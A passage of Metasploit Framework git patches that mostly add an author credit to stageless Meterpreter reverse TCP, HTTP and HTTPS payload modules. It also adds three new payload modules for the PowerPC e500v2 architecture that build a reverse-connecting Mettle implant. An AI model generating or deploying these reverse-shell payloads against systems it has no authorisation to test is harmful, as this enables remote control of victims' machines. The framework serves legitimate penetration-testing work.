+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMBE,
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
index 1616b986ec..d2d13aedc0 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMBE,
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
index 62d9f16d0e..e03945a404 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMLE,
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
index 3149bcca28..e31c66b376 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMLE,
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
index 1243e402de..8bd8a3cc05 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMLE,
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
index dd9368b245..10f36f74d8 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPS64,
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
index 8c34b01940..e0beb782fe 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPS64,
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
index 8e0de4303b..c965638d7e 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPS64,
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index fdc9ad4109..d1749f9c25 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSBE,
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index a5db786462..bc1d3f2c08 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSBE,
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index da8aba961f..cc021b9ff2 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSBE,
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
index 21021201df..a98f452a62 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSLE,
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
index 4bd4e3818e..258bd4192f 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSLE,
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
index 3735553d80..78b4d6b8d7 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_MIPSLE,
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
index c18783c2b3..83aa882cc2 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC,
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
index 651bc9c1b6..9b0c40b47f 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC,
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
index d2771d7a0c..7832e02b38 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC,
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
index 8baaf5149a..d7d893c797 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC64LE,
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
index 8bfe23028d..43922b34f8 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC64LE,
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
index 7f6980e6f7..28f1df859a 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_PPC64LE,
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
new file mode 100644
index 0000000000..17a4ad60cc
--- /dev/null
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
@@ -0,0 +1,44 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_http'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_ppce500v2_linux'
+
+module MetasploitModule
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Linux Meterpreter, Reverse HTTP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
+        ],
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_PPCE500V2,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseHttp,
+        'Session'       => Msf::Sessions::Meterpreter_ppce500v2_Linux
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('powerpc-e500v2-linux-musl', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
new file mode 100644
index 0000000000..345737bb79
--- /dev/null
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
@@ -0,0 +1,44 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_https'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_ppce500v2_linux'
+
+module MetasploitModule
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Linux Meterpreter, Reverse HTTPS Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
+        ],
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_PPCE500V2,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseHttps,
+        'Session'       => Msf::Sessions::Meterpreter_ppce500v2_Linux
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('powerpc-e500v2-linux-musl', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
new file mode 100644
index 0000000000..2de9507578
--- /dev/null
+++ b/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb
@@ -0,0 +1,44 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'msf/base/sessions/meterpreter_ppce500v2_linux'
+
+module MetasploitModule
+
+  include Msf::Payload::Single
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
+        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>',
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
+        ],
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_PPCE500V2,
+        'License'       => MSF_LICENSE,
+        'Handler'       => Msf::Handler::ReverseTcp,
+        'Session'       => Msf::Sessions::Meterpreter_ppce500v2_Linux
+      )
+    )
+  end
+
+  def generate
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
+    MetasploitPayloads::Mettle.new('powerpc-e500v2-linux-musl', generate_config(opts)).to_binary :exec
+  end
+end
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
index 2c41b001e2..07d84a9546 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X64,
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
index a89325ffbb..1b019f6ea9 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X64,
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
index b5ace9bfeb..d039699b84 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X64,
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
index 078ea923e9..af7e1d5c24 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X86,
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
index a3f8085c2a..6ce43b87f7 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X86,
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
index 3660fc5810..1f2fb19f4f 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_X86,
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
index e522b7c89c..c678a47d9e 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ZARCH,
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
index ae31cc5abe..76be12d28d 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ZARCH,
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
index 5e73f26542..85223495a7 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ZARCH,
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
index cf4c1f6b81..a8d519d10c 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'osx',
         'Arch'          => ARCH_X64,
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
index c4f9172030..07bb971461 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'osx',
         'Arch'          => ARCH_X64,
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
index 82da65b261..d1eeb5d196 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'osx',
         'Arch'          => ARCH_X64,
diff --git a/tools/modules/generate_mettle_payloads.rb b/tools/modules/generate_mettle_payloads.rb
index 967a051b81..3e3c627562 100755
--- a/tools/modules/generate_mettle_payloads.rb
+++ b/tools/modules/generate_mettle_payloads.rb
@@ -12,18 +12,19 @@ schemes = [
 ]
 
 arches = [
-  ['aarch64','Linux', 'aarch64-linux-musl'],
-  ['armbe',  'Linux', 'armv5b-linux-musleabi'],
-  ['armle',  'Linux', 'armv5l-linux-musleabi'],
-  ['mips64', 'Linux', 'mips64-linux-muslsf'],
-  ['mipsbe', 'Linux', 'mips-linux-muslsf'],
-  ['mipsle', 'Linux', 'mipsel-linux-muslsf'],
-  ['ppc',    'Linux', 'powerpc-linux-muslsf'],
-  ['ppc64le','Linux', 'powerpc64le-linux-musl'],
-  ['x64',    'Linux', 'x86_64-linux-musl'],
-  ['x86',    'Linux', 'i486-linux-musl'],
-  ['zarch',  'Linux', 's390x-linux-musl'],
-  ['x64',    'OSX',   'x86_64-apple-darwin'],
+  ['aarch64',   'Linux', 'aarch64-linux-musl'],
+  ['armbe',     'Linux', 'armv5b-linux-musleabi'],
+  ['armle',     'Linux', 'armv5l-linux-musleabi'],
+  ['mips64',    'Linux', 'mips64-linux-muslsf'],
+  ['mipsbe',    'Linux', 'mips-linux-muslsf'],
+  ['mipsle',    'Linux', 'mipsel-linux-muslsf'],
+  ['ppc',       'Linux', 'powerpc-linux-muslsf'],
+  ['ppce500v2', 'Linux', 'powerpc-e500v2-linux-musl'],
+  ['ppc64le',   'Linux', 'powerpc64le-linux-musl'],
+  ['x64',       'Linux', 'x86_64-linux-musl'],
+  ['x86',       'Linux', 'i486-linux-musl'],
+  ['zarch',     'Linux', 's390x-linux-musl'],
+  ['x64',       'OSX',   'x86_64-apple-darwin'],
 ]
 
 arch = ''

From f42b980cf02f5dc0f12610be84b267bae3e5e1c5 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 30 Oct 2017 15:42:11 -0500
Subject: [PATCH 071/254] fix misspelled RuntimeError

---
 lib/metasploit/framework/mssql/client.rb | 6 ++----
 lib/msf/core/auxiliary/nmap.rb           | 2 +-
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb
index 4c79a8eb0e..9652c2ec79 100644
--- a/lib/metasploit/framework/mssql/client.rb
+++ b/lib/metasploit/framework/mssql/client.rb
@@ -634,8 +634,7 @@ module Metasploit
           if idx > 0
             encryption_mode = resp[idx, 1].unpack("C")[0]
           else
-            raise RunTimeError, "Unable to parse encryption req. "\
-              "from server during prelogin"
